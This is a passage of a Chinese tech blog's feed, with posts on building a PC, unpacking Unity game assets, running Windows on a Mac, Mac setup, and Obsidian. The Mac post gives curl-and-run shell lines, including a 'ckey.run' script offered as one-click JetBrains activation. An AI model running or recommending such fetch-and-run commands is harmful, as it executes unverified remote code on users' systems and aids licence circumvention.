&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/Screenshot_2025-10-11-05-48-41-11_4fbb30eb7b71661.BjbkwCH0.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当即就开机，嗯！还是Windows味正！&lt;/p&gt;
&lt;p&gt;但好景不长，可能是因为我之前对AMD机子有点阴影，又加上这破机子到手当天蓝屏3次，花屏2次，游戏帧率也不是很稳定（虽然后面手动调稳了）。导致又萌发了一个新想法： &lt;strong&gt;笔记本就是智商税，同价位性能释放还得看台式机！&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;不用我说，你们应该也猜到了，没错！又是5天之后，我把 &lt;strong&gt;暗影精灵11锐龙版&lt;/strong&gt; 在 &lt;strong&gt;转转&lt;/strong&gt; 上出掉了。当质检小哥再次问我的你机子买了几天的时候，我说5天，他愣住了，随后说道：&lt;strong&gt;这我还测集贸了&lt;/strong&gt; 随后不到十分钟我就收到打款了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/Screenshot_2025-10-11-05-49-05-90_c03b3f779c2dfd4.DuntftrT.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;好的，那么第二次轮回又结束了，此时我仍然处于一个没电脑用的情况（虽然也不是刚需）。不过这次，我下定决心了： &lt;strong&gt;一定要整个台式机玩玩！&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;恰巧，朋友准备换CPU了，又恰巧，要从Intel换成AMD，也就是说，他的主板和U都闲置了，就问我要不要。那我肯定是求之不得，然后便顺理成章的拿到了板U，接下来只需要自己买显卡内存硬盘电源散热机箱即可，因为板U暂时不需要我掏钱了，所以预算非常充足，又因为我这个人心急吧，于是便找了 &lt;strong&gt;京东当日达&lt;/strong&gt; 也就是本地仓发货的，可能要加个几百块，但是刚好可以治我的“心急病”，但是吧，朋友的板U本来是走飞机的，但是安检没过，所以转陆运了，那么陆运就不能当日达了，也就是说就算我的其他配件当日达，板U不能当日达那我这加的钱就是白加，不过算了，既来之则安之，那么以下是我的配置单
&lt;img src=&quot;https://2x.nz/_astro/Screenshot_2025-10-09-20-06-36-95_ae1f93045b87aac.D79bYv8U.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那么装机后效果如图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/IMG20251010160613.BXHybL1T.webp&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;https://2x.nz/_astro/IMG20251011055119.DdIdlV1Z.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;装机教程&lt;/h1&gt;
&lt;p&gt;因为我本人活这么大从来没自己装过机，但是我觉得既然我是搞技术的，这东西应该也不难，再加上当今有很多装机教程视频可以看，比如 https://www.bilibili.com/video/BV1BG4y137mG ，我就是看它一步步去弄的，因为配件都是自己DIY的，有些步骤可能对不上，而且某些东西说明书虽然说不行但是实际上可以，行不行还得自己动手试试&lt;/p&gt;
&lt;h1&gt;装机坑点&lt;/h1&gt;
&lt;p&gt;内存条。视频内演示的主板内存卡扣是双端的，但是我这个主板仅单端有卡扣，所以我在另一边扳了半天没反应才发现那边没卡扣（我是笨蛋&lt;/p&gt;
&lt;p&gt;水冷。现在装机不仅仅是让他能 &lt;strong&gt;跑起来&lt;/strong&gt; 更是美观和 &lt;strong&gt;R！G！B！&lt;/strong&gt; ，但是，这个水冷一共有三个RGB线，但是主板上只有一个RGB接口，听说是要做 &lt;strong&gt;神光同步&lt;/strong&gt; 的，但是你既然包装内没带集线器那我就不接了，反正对我来说 &lt;strong&gt;R！G！B！&lt;/strong&gt; 是徒增功耗（不过这小灯确实挺好看的&lt;/p&gt;
&lt;p&gt;硅脂。一般散热器会送你点硅脂，不用单独买&lt;/p&gt;
&lt;p&gt;机箱。因为主板背部也有很多触点，如果直接和机箱接触可能会造成短路，所以一般机箱内部都有螺丝孔可以上螺丝柱，然后将主板夹在螺丝柱上固定。问题就在这个螺丝柱了，它虽然是一个六角螺丝柱，但是 &lt;strong&gt;没有送螺丝柱套筒&lt;/strong&gt; ，也就是说，如果你家中没有老虎钳，这螺丝柱你是别想安上了，除非你是绿巨人&lt;/p&gt;
&lt;p&gt;机箱说明书。说明书上写着支持前置240冷排，确实支持，但是显卡挡住了，因为我太信说明书了，我就又去 &lt;strong&gt;京东闪购&lt;/strong&gt; 下单了个风冷，&lt;strong&gt;250&lt;/strong&gt; 块钱，商家还跟我打电话确认我的主板型号，可能曾经发生过什么不可告人的事件* 总之，风冷刚到我就被群友提醒可以上置冷排，试了一下确实可以，系内说明书！&lt;/p&gt;
&lt;h1&gt;性能测试&lt;/h1&gt;
&lt;p&gt;首先这是最终上机配置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/first-pc.BBCqKknH.webp&quot; alt=&quot;&quot; /&gt;
CPU-Z跑分
&lt;img src=&quot;https://2x.nz/_astro/first-pc-1.BXGORBBA.webp&quot; alt=&quot;&quot; /&gt;
甜甜圈一键烤鸡（1280x720）帧数
&lt;img src=&quot;https://2x.nz/_astro/d1122f2dcca5ea532c7aa45483120e3d.BIdSJiqn.webp&quot; alt=&quot;&quot; /&gt;
AIDA64内存和三缓测试
&lt;img src=&quot;https://2x.nz/_astro/first-pc-2.DeaiXMI2.webp&quot; alt=&quot;&quot; /&gt;
单烤FPU最高功耗及温度
&lt;img src=&quot;https://2x.nz/_astro/first-pc-3.BhmQgnVI.webp&quot; alt=&quot;&quot; /&gt;
AS SSD Benchmark（硬盘测速）
&lt;img src=&quot;https://2x.nz/_astro/first-pc-4.EYoICgdI.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>魔法少女的魔女审判解包（Unity通用解包方案）</title><link>https://2x.nz/posts/manosaba-unzip/</link><guid isPermaLink="true">https://2x.nz/posts/manosaba-unzip/</guid><description>魔判这部作品真的很不错，大家可以去Steam搜索魔法少女的魔女审判下载下来玩玩</description><pubDate>Sun, 05 Oct 2025 08:09:36 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;前往 https://github.com/AssetRipper/ ，下载 &lt;strong&gt;AssetRipper&lt;/strong&gt; 并打开&lt;/p&gt;
&lt;p&gt;这会自动调用浏览器并导向 &lt;code&gt;http://127.0.0.1:64203&lt;/code&gt; 暂时放一边&lt;/p&gt;
&lt;p&gt;接下来在Steam页面对游戏右键并选择 &lt;code&gt;管理 - 浏览本地文件&lt;/code&gt;
&lt;img src=&quot;https://2x.nz/_astro/manosaba-unzip-1.DE5iAqy9.webp&quot; alt=&quot;&quot; /&gt;
会打开你的文件资源管理器并导向该游戏位于系统中的实际路径 &lt;img src=&quot;https://2x.nz/_astro/manosaba-unzip-2.H7OMezth.webp&quot; alt=&quot;&quot; /&gt;
点击 &lt;code&gt;地址栏&lt;/code&gt; 然后复制
&lt;img src=&quot;https://2x.nz/_astro/manosaba-unzip-3.DSAwbpn2.webp&quot; alt=&quot;&quot; /&gt;
此时在 &lt;strong&gt;AssetRipper&lt;/strong&gt; 中我们选择 &lt;code&gt;文件 - 打开文件夹&lt;/code&gt; 并粘贴路径，并进入 &lt;code&gt;*_Data&lt;/code&gt; 文件夹，这里为 &lt;strong&gt;manosaba_Data&lt;/strong&gt;
&lt;img src=&quot;https://2x.nz/_astro/manosaba-unzip.BEUgWAwa.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/manosaba-unzip-5.DKVTsVMt.webp&quot; alt=&quot;&quot; /&gt;
接下来会进入漫长的等待时间。网页会卡在加载，我们可以查看一并打开的命令窗口确认资源载入进度
当你发现 &lt;strong&gt;查看已导入文件&lt;/strong&gt; 可被点击后，方可继续
&lt;img src=&quot;https://2x.nz/_astro/manosaba-unzip-6.Bzdu6sWU.webp&quot; alt=&quot;&quot; /&gt;
选择右上角的 &lt;code&gt;导出 - 导出所有文件&lt;/code&gt;
&lt;img src=&quot;https://2x.nz/_astro/manosaba-unzip-7.CnXhhzOo.webp&quot; alt=&quot;&quot; /&gt;
点击选择文件夹，随便选个位置放解包后的文件
&lt;img src=&quot;https://2x.nz/_astro/manosaba-unzip-8.oIoNdFdb.webp&quot; alt=&quot;&quot; /&gt;
然后点击 &lt;strong&gt;导出主要内容&lt;/strong&gt;
&lt;img src=&quot;https://2x.nz/_astro/manosaba-unzip-9.DMGr13b8.webp&quot; alt=&quot;&quot; /&gt;
最终，寻找类似 &lt;code&gt;Assets&lt;/code&gt; 文件夹，就有所有的资源文件了（如CG图，MV，角色语音等）
&lt;img src=&quot;https://2x.nz/_astro/manosaba-unzip-10.DZQ66Qpg.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;注：某些资源为骨骼/模型和动作文件，游戏进行中显现的2D图并非直接由静态文件提供，而是骨骼/模型和动作文件协作而成，对于这些内容，你需要自己拼出完整的资源画面，在此不做讨论&lt;/p&gt;
</content:encoded></item><item><title>在Mac上玩GalGame竟如此简单！</title><link>https://2x.nz/posts/mac-gal/</link><guid isPermaLink="true">https://2x.nz/posts/mac-gal/</guid><description>虽然说用了Mac就等于远离了所有游戏，但是偶尔还是想打打Gal放松放松的，那么有没有傻瓜式的方法让我们可以抱着Mac在床上嗯嗯啊啊呢，有的！</description><pubDate>Tue, 30 Sep 2025 11:29:21 GMT</pubDate><content:encoded>&lt;h1&gt;思路&lt;/h1&gt;
&lt;p&gt;首先，新版的Mac用的是Arm架构的Apple自研芯片并且搭载基于Unix的MacOS系统。而大部分游戏则是专为Windows x64打造的。也就是说，我们需要翻译两层，首先将Unix转Win，再将Arm架构专为x64架构&lt;/p&gt;
&lt;p&gt;诚然，你可以使用 &lt;strong&gt;&lt;a href=&quot;https://www.codeweavers.com/crossover&quot;&gt;CrossOver&lt;/a&gt;&lt;/strong&gt; 来自动化这个流程，或者手动在Apple开发者工具下载GPTK手动执行该操作。但是这两个操作一个要钱，一个要命（指时间和脑子）&lt;/p&gt;
&lt;p&gt;我们这里采用 &lt;strong&gt;虚拟机&lt;/strong&gt; 来简化这些操作。由于是虚拟机，所以只需要准备一个Arm镜像就可以在Mac上完美运行一个Arm的Win11系统，又由于微软干的大好事，Arm版本的Windows11在运行x64程序是会自动转译，所以我们只需要保证必要的运行库安装即可。是的，这可能在性能上会大打折扣，但是兼容性是最高的，且如果你只玩Gal这种类PPT游戏，性能差距感知不强&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;首先，我们下载虚拟机软件 &lt;strong&gt;&lt;a href=&quot;https://support.broadcom.com/group/ecx/productdownloads?subfamily=VMware%20Fusion&amp;amp;freeDownloads=true&quot;&gt;VMware Fusion&lt;/a&gt;&lt;/strong&gt; （需要注册一个博通账号）&lt;/p&gt;
&lt;p&gt;登录后你可能会被重定向到 Dashboard，再次访问一次链接即可进入下载软件界面
&lt;img src=&quot;https://2x.nz/_astro/mac-gal.hdXffjgH.webp&quot; alt=&quot;&quot; /&gt;
⚠️注意：你可能会发现下载按钮被禁用，这并不是你没有权限，而是你没有阅读用户许可协议，你可能又会发现，用户许可协议的勾打不上。请先点击用户协议超链接，不管你看没看，再回退到之前到页面，你就会发现用户许可协议的勾可以被选中了&lt;/p&gt;
&lt;p&gt;让我们省略一下安装过程...&lt;/p&gt;
&lt;p&gt;假设你已经成功安装了 &lt;strong&gt;VMware Fusion&lt;/strong&gt;
&lt;img src=&quot;https://2x.nz/_astro/mac-gal-1.BIrX8C5y.webp&quot; alt=&quot;&quot; /&gt;
接下来我们去下载 &lt;strong&gt;Windows 11 On Arm&lt;/strong&gt; 的ISO镜像： https://www.microsoft.com/zh-cn/software-download/windows11arm64&lt;/p&gt;
&lt;p&gt;你会得到
&lt;img src=&quot;https://2x.nz/_astro/mac-gal-2.C2kbvAVE.webp&quot; alt=&quot;&quot; /&gt;
再次打开 &lt;strong&gt;VMware Fusion&lt;/strong&gt; ，新建一个虚拟机，并导入ISO文件，按需调整虚拟机配置即可
&lt;img src=&quot;https://2x.nz/_astro/mac-gal-3.DqfLHbIj.webp&quot; alt=&quot;&quot; /&gt;
最终，我们启动虚拟机，完成Windows11安装向导，进入Windows桌面。此时你的Windows可能看起来糊糊的，那是因为没有安装 &lt;strong&gt;VM Tools&lt;/strong&gt; ，安装一下即可
&lt;img src=&quot;https://2x.nz/_astro/mac-gal-5.BtD5SzK4.webp&quot; alt=&quot;&quot; /&gt;
此时你已经完成90%的步骤了，你已经可以把你的Mac当Windows用啦！但是为了让后续的游戏能顺利运行，我们还是要装一下必要的运行库&lt;/p&gt;
&lt;p&gt;前往 https://zhangyue667.lanzouh.com/DirectXRepairEnhanced 下载并解压运行DX修复工具。运行后，程序会自动安装DX9和VC++运行库，这足以保障大部分游戏顺利运行！&lt;/p&gt;
&lt;p&gt;如果遇到游戏打不开或第一次能打开后续打不开，请按需配置微软仿真&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/mac-gal-6.X_CrNVv9.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;现在，享受吧！&lt;/p&gt;
</content:encoded></item><item><title>我为什么要买个Mac</title><link>https://2x.nz/posts/mac/</link><guid isPermaLink="true">https://2x.nz/posts/mac/</guid><description>Mac的好处是：便携、续航长、性能高。缺点是贵、要重新学一个新系统的操作。仅对我个人，我认为我从Win换到Mac是一个正确的决定</description><pubDate>Tue, 30 Sep 2025 01:07:15 GMT</pubDate><content:encoded>&lt;h1&gt;我为什么决定买一个Mac&lt;/h1&gt;
&lt;p&gt;首先，就是老生常谈的，新鲜感，但是我也不是没用过Mac，在过年那会买过MacMini，但是当时并不是把他当做一个生产力工具，而是当做一个家庭服务器来使用。用了几天就发现几个问题，一是Mac做服务器不常见，而且很多在Linux上能够点点就部署的东西，比如1Panel面板，在Mac上就需要手动配置；二是我本身的NAS负载服务就不多，基本就一个QQBot，没必要花一个3k多买一个艺术品来当家庭服务器来使用。&lt;/p&gt;
&lt;p&gt;然后就说到为什么这次又买了一个Mac，这其实原因有点离谱。导火索是因为当时有一天跟我的朋友打了一晚上游戏，打了个通宵，又因为朋友比较菜打得比较折磨，而且第二天还有早八的课，一下就干到了早上4点，顺理成章的，第二天一整天都是懵懵的。第二天回家后就想着，&lt;strong&gt;我从来没有觉得玩游戏开心过&lt;/strong&gt; 然后一气之下把成年礼的钱拿来买了个Mac...&lt;/p&gt;
&lt;p&gt;根本原因是，我发现居家的这6个月我并不依赖游戏，在居家的那段时间，我用最多的软件应该是 &lt;strong&gt;Trae&lt;/strong&gt; ，天天用它造轮子，造小玩具，写Serverless程序，给网站装饰装饰，没事就再做做视频拿点外快。游戏并不是说一次没玩过，也有个别几周天天game。但总体来说打游戏占总空闲时间的占比不高，并且大部分情况都是朋友拉我玩。我也不知道在什么时候形成了一个观念，可能是ChatGPT 3.5出来的那段时间吧，就觉得，我如果把打游戏的时间拿来写写代码折腾折腾网站，这件事既是我喜爱做的，又能提升我的知识水平，以后的学习也就更容易。而打游戏，一不是我自发性的想打，二是仔细想想，打一天游戏能获得什么？段位？有什么用？能换钱吗？甚至打一天段位还会负增长；反过来想，写一天代码或者说折腾一天网站能获得什么？能获得技术经验，能丰富知识储备，然后我还可以把我懂的我理解的知识分享给大家，比如写文章做视频，有时候顺便还能拿点小钱。另外一方面点原因就是 &lt;strong&gt;开学&lt;/strong&gt; ，讲点题外话吧，虽然我上的是大专院校，但是离家并不远，仅20km左右，并且入校第一天我就觉得宿舍环境太差，然后导员在当天也公布了可以办走读的消息，我遂在2天后就办了走读。虽说离家并不远，但是一趟去程也要个1小时，回程又要个1小时。虽说时间并不长，但是在大一新生的课程紧密的情况下，情况就有点不乐观了。尽管走读生不需要住宿，也就是不需要将被子啊生活用品啊带到学校来，但是俗话说，现代人类不能离身的有三个东西，移动电话、网络、电。但是我们学的是计算机专业，而我本人也早就涉猎了这个专业，那么 &lt;strong&gt;笔记本电脑&lt;/strong&gt; 要在学校-家来回跑是必不可少的。有人就说，你们学校没有机房吗？当然有，性能还不差，自备电脑对于其他同学的应用场景可能是上了一天课了，回寝室跟舍友开黑打游戏；而对我的使用场景就截然不同了，根据上文提到的，我对打游戏并不是刚需，电脑对于我来说更像是一个项目操控工具，我用电脑就是跟他们打交道：比如VSC（Trae）写代码、Github提交代码、黑曜石（Obsidian）写文章、OBS录视频、剪映剪视频，浏览器发视频或者干点别的。这些事情本来在放假那段时间是全天都可以干的，比如早上8点醒了，点个外卖，然后开电脑看看QQ聊聊天，中午吃个饭开始看看昨天写的代码，修修补补到晚上，再吃个饭然后睡觉，整体的时间是非常灵活的。但是，开学后，由于每天的课是在不同的时间上，有可能上个早八，让你休息3小时再上下午的课，那么这个三小时干什么呢？有人会说，午休啊，睡个觉不爽吗，而我的评价是，&lt;strong&gt;太诡异了&lt;/strong&gt; 都走读生了，晚上最早4点到家最晚11点到家，那么软那么大的床，倒头就睡睡足8小时然后再上下一个早八，你还能困吗？而且因为我是走读，我是没有床铺的，如果想要睡觉，要不趴桌子上（腰疼腿麻），要不躺地上（挡人走路而且硌得慌）。但是话又说回来了，Win本动辄2-3kg的重量加上游戏本特有的风扇吵机体烫，我是不想带这个活爹两头跑的，它就好好的在家伪装台式机就好了。综上，在那段时间我的在校中午时间，不是找点小游戏，就是刷视频，有一种感觉能干点什么事但是又因为没有工具所以无能为力。根据种种原因，再加上那天那几个b真的是太菜了，我在拿生命提你的分，你在拿我的生命给我看你的唐人操作。所以，我入手了这台Mac，并且 &lt;strong&gt;将旧Win本&lt;/strong&gt; 扔转转上了（别问我为什么扔转转，一是因为广告铺天盖地的已经刻进DNA了，二是曾经用过爱回收和闲鱼等平台，这次想换个平台了）。关于为什么要把旧Win本卖了，这个原因其实非常简单，因为如果这个Win本还在，一是双机到底要如何协作？二是Mac的刚需没这么强。简单来说就是旧的不去，新的不来&lt;/p&gt;
&lt;h1&gt;Mac相比与Win的区别？&lt;/h1&gt;
&lt;p&gt;轻。我这台MacBook Air M4仅1.24kg，相比于之前的Win本（机械革命 极光 X）标称了2.2kg（我觉得没这么轻），Mac单手即可提起来，放在包里面甚至感觉没有书重
小。这个主要是因为我买的是Air，它是13寸的，虽然比我之前的Win本小（大部分情况我也不会用Win本的内嵌显示屏，都是接显示器用的）。但是得益于Apple的高色准2K屏，显示效果仍然很细腻&lt;/p&gt;
&lt;p&gt;续航长。这个真的没得黑，得益于Apple现在将Mac的CPU全部替换为了Arm架构的自研芯片M系列，续航真的很长，一般一台Win本拔电几小时电量可能就掉完了，但是Mac早上充满电，带去出勤上班上学不插电真的是妥妥用一天（当然，你不能用一些高功耗软件），我这台Mac标称的续航是18h，我觉得已经完全够用了&lt;/p&gt;
&lt;h1&gt;Mac的特色？&lt;/h1&gt;
&lt;p&gt;系统。我觉得Mac的系统，也就是macOS在Linux和Windows之间。它既不是Linux（如：Debian）那样的毛坯房，也不是Windows的那种啥都能干。在Mac上，如果你打开终端，你会发现很多操作特别像Linux和Windows，比如Mac有AppStore，对标Windows的Microsoft Store，但是Mac还有brew，就像Debian Linux的apt包管理器（同时也像Windows的第三方包管理器Scoop。当然，Scoop还是效仿apt等Linux包管理器，而不是对标Mac）比如你想安装 &lt;strong&gt;NodeJS&lt;/strong&gt; ，只需要先把 &lt;code&gt;brew&lt;/code&gt; 装上，然后终端运行 &lt;code&gt;brew install nodejs&lt;/code&gt; 即可
&lt;img src=&quot;https://2x.nz/_astro/mac-2.D04NvSTi.webp&quot; alt=&quot;&quot; /&gt;
权限管理。在Mac上，软件安装后很类似安卓的“沙盒”机制，所有越权访问都需要用户的授权，你可能会说，这在现代操作系统上不是基本功吗。但是，如果你用过Windows的QQ你就会知道，一旦QQ安装完毕，当你把QQ最小化到托盘后，如果有新通知，那么QQ立马会调用Windows的通知API向你发送一条通知。但是在Mac上不是这样，在QQ安装完毕后，系统会提示该软件需要使用通知权限，点进这个系统通知后，你会被导航到设置-通知，此时，你能看到QQ的通知权限是关的，你必须手动将其打开，该软件才能在后续给你推送通知，否则，这将是有关于QQ的最后一次通知
&lt;img src=&quot;https://2x.nz/_astro/mac-1.B6u8Wkn_.webp&quot; alt=&quot;&quot; /&gt;
生态。有人说，Mac有什么生态，封闭的要死，是死是活都要看Apple脸色。确实，App Store的审核及其严格，我目前安装的大部分软件都并未上架到AppStore，但是，这并不代表Mac上软件生态烂。在Mac上，安装软件有三种方式，1.AppStore 2.浏览器下载 &lt;code&gt;.dmg&lt;/code&gt; 文件，双机后拖放到应用程序文件夹 3.浏览器下载 &lt;code&gt;.pkg&lt;/code&gt; 文件，双击后会弹出安装向导，一路下一步即可完成安装。绝大多数软件都是使用后两种方式安装的，其实主要还是AppStore上的软件要交苹果开发者税，而第三方侧载就不用考虑这么多了。当然，毕竟换了一个系统，对于小开发者做的开源软件，可能并没有给Mac打包一个预构建的文件，这就需要你拉源码来自己编译运行了，比如 &lt;code&gt;https://github.com/WEIFENG2333/VideoCaptioner&lt;/code&gt; ，这有时候也是好事，能帮助你了解软件开发、构建与发布
&lt;img src=&quot;https://2x.nz/_astro/mac-3.ChqTi7nH.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/mac-4.D0CwdRnY.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Mac的快速上手&lt;/h1&gt;
&lt;p&gt;安装Brew（类似Debian Linux的apt高级软件包管理器）。安装完毕后即可用 &lt;code&gt;brew install python&lt;/code&gt; 来安装各个软件包了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/bin/zsh -c &quot;$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mac默认的Python3.9，太老了，使用brew可以安装最新版的Python，但是并不会替换环境变量，需要使用Brew的链接命令替换默认环境变量。之后重启终端即可
&lt;em&gt;在正规开发环境应当使用Anaconda或者Poetry等版本控制/虚拟环境软件来管理，盲目升级Python版本可能会造成一些系统问题&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;brew link python@3.13 --force
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JB系列软件一件激活&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -L -o ckey.run ckey.run &amp;amp;&amp;amp; bash ckey.run
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;未完待续...&lt;/h1&gt;
&lt;p&gt;我写不动了，&lt;/p&gt;
&lt;p&gt;&lt;em&gt;2025/09/30 11:28&lt;/em&gt; 第一次修订&lt;/p&gt;
&lt;p&gt;&lt;em&gt;2025/09/30 11:44&lt;/em&gt; 第2次修订。黑曜石的单次换行Fuwari不认，需要手动多加一次换行，不然全拼一行去了.&lt;/p&gt;
</content:encoded></item><item><title>现代！易上手！高效！且社区支持的超高校级的MarkDown编辑器！</title><link>https://2x.nz/posts/obsidian/</link><guid isPermaLink="true">https://2x.nz/posts/obsidian/</guid><description>曾经我使用MarkText编写文章，今天收到朋友推荐，来尝试一下黑曜石（Obsidian），发现真的很好用，且社区完善！</description><pubDate>Tue, 16 Sep 2025 18:20:34 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;视频链接： https://www.bilibili.com/video/BV1C7pDzpEHY&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;下载&lt;/h1&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://obsidian.md/download&quot;&gt;Download - Obsidian&lt;/a&gt; 下载对应你系统版本的软件。安装界面就可以选择语言为 &lt;strong&gt;简体中文&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;初次上手&lt;/h1&gt;
&lt;p&gt;Obsidian（下文简称“黑曜石”）将每一个存放了多个MarkDown文件的文件夹都叫做 &lt;strong&gt;仓库&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;首先，点击左下角的 &lt;strong&gt;Obsidian  Vault&lt;/strong&gt;
&lt;img src=&quot;https://2x.nz/_astro/obsidian-1.27W32zAj.webp&quot; alt=&quot;&quot; /&gt;
然后点击 &lt;strong&gt;管理仓库&lt;/strong&gt; ，然后根据你所需要的情况进行选择
&lt;img src=&quot;https://2x.nz/_astro/obsidian-2.DuG7BA9U.webp&quot; alt=&quot;&quot; /&gt;
黑曜石会在每个仓库下创建 &lt;code&gt;.obsidian&lt;/code&gt; ，存放了工作区的配置信息
&lt;strong&gt;注意：&lt;/strong&gt; 黑曜石的配置都是针对于单个仓库的，若该配置文件丢失你需要重新配置黑曜石。所以，请确保写文章时不要频繁更改仓库&lt;/p&gt;
&lt;h1&gt;针对于Fuwari的图片配置&lt;/h1&gt;
&lt;p&gt;首先我们要知道几个坑点&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;黑曜石对图片默认是 &lt;strong&gt;内部链接&lt;/strong&gt; ，该链接的路径配置在私有配置文件实现，仅在黑曜石内可见&lt;/li&gt;
&lt;li&gt;黑曜石对图片默认是 &lt;strong&gt;带空格的链接&lt;/strong&gt; ，部分框架不支持转义空格导致找不到图片
首先，确保你将 &lt;code&gt;src/content&lt;/code&gt; 作为仓库根目录，因为 &lt;code&gt;src/content/posts&lt;/code&gt; 存放博客文章，而 &lt;code&gt;src/content/spec&lt;/code&gt; 存放关于等特殊MarkDown页面，他们都可能需要依赖图片，所以建议将仓库设置在他们的上一级文件夹。我们的图片将存放在 &lt;code&gt;src/content/assets/images&lt;/code&gt; 在 &lt;code&gt;posts&lt;/code&gt; 或 &lt;code&gt;spec&lt;/code&gt; 的相对路径引用格式则为 &lt;code&gt;../assets/images/xxx.webp&lt;/code&gt; （不用担心，黑曜石会自动管理，你无需手打）
点击 &lt;strong&gt;设置&lt;/strong&gt;
&lt;img src=&quot;https://2x.nz/_astro/obsidian-3.DjgVO9Pr.webp&quot; alt=&quot;&quot; /&gt;
如图配置，这样我们就解决了第一个问题
&lt;img src=&quot;https://2x.nz/_astro/obsidian-4.CrJdfmCl.webp&quot; alt=&quot;&quot; /&gt;
关于第二个问题，黑曜石本身并不支持通过变量来控制图片名，我们需要借助第三方插件来实现
首先，我们需要关闭 &lt;strong&gt;安全模式&lt;/strong&gt;
依次 &lt;code&gt;设置 - 第三方插件 - 安全模式（关闭）&lt;/code&gt;
然后依次 &lt;code&gt;设置 - 第三方插件 - 社区插件市场（浏览）&lt;/code&gt;
安装 &lt;code&gt;Pasts image rename&lt;/code&gt; 并 &lt;strong&gt;启用&lt;/strong&gt;
再次前往 &lt;strong&gt;设置&lt;/strong&gt; ，在最底下就会有一个专门配置第三方插件的配置项目
第一个 &lt;code&gt;Image name pattern&lt;/code&gt; 不用动，如果你要更改，请确保你知道自己在做什么，该配置描述已经非常详细了
第二个 &lt;code&gt;Auto rename&lt;/code&gt; ，将它打开，如果你不想每粘贴一个图片就弹出一个对话框让你输入图片名称的话
&lt;img src=&quot;https://2x.nz/_astro/obsidian-5.CXhgYsTO.webp&quot; alt=&quot;&quot; /&gt;
接下来，尝试使用任一截图工具，如 &lt;strong&gt;QQ截图&lt;/strong&gt; ，截图后使用 &lt;strong&gt;Ctrl+V&lt;/strong&gt; 粘贴进文章，你应当能看到类似这样的图片链接了&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;![](../assets/images/obsidian.webp)
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;黑曜石如何强大？&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;published&lt;/code&gt; 字段可以通过点点点实现
&lt;img src=&quot;https://2x.nz/_astro/obsidian-6.Bn3elgDX.webp&quot; alt=&quot;&quot; /&gt;
通用字段可以直接填充曾经写过的
&lt;img src=&quot;https://2x.nz/_astro/obsidian-7.Dg5XAThi.webp&quot; alt=&quot;&quot; /&gt;
&lt;code&gt;tags&lt;/code&gt; 字段只需要你专注于标签，无需再手动管理格式
&lt;img src=&quot;https://2x.nz/_astro/obsidian-8.CIPD0kdi.webp&quot; alt=&quot;&quot; /&gt;
布尔字段通过勾选来处理 &lt;code&gt;true&lt;/code&gt; 和 &lt;code&gt;false&lt;/code&gt;
&lt;img src=&quot;https://2x.nz/_astro/obsidian-9.Cv-lIFel.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Fuwari静态博客搭建教程</title><link>https://2x.nz/posts/fuwari/</link><guid isPermaLink="true">https://2x.nz/posts/fuwari/</guid><description>Fuwari 是一个静态博客框架，配合 Cloudflare Pages 可以快速搭建一个轻量、安全且易维护的个人博客</description><pubDate>Tue, 16 Sep 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;你需要准备的东西&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;一点基础的折腾能力。遇到问题先自己排查，实在解决不了再搜索或借助 AI，这样搭建过程会顺利很多。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://git-scm.com/downloads&quot;&gt;Git - Downloads (git-scm.com)&lt;/a&gt;：用于管理本地代码并与 GitHub 仓库同步。如果你更习惯图形界面，也可以尝试 &lt;a href=&quot;https://github.com/apps/desktop&quot;&gt;GitHub Desktop | Simple collaboration from your desktop&lt;/a&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://nodejs.org/en&quot;&gt;Node.js — Run JavaScript Everywhere (nodejs.org)&lt;/a&gt;：Fuwari 基于 Node.js，因此需要先安装它。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
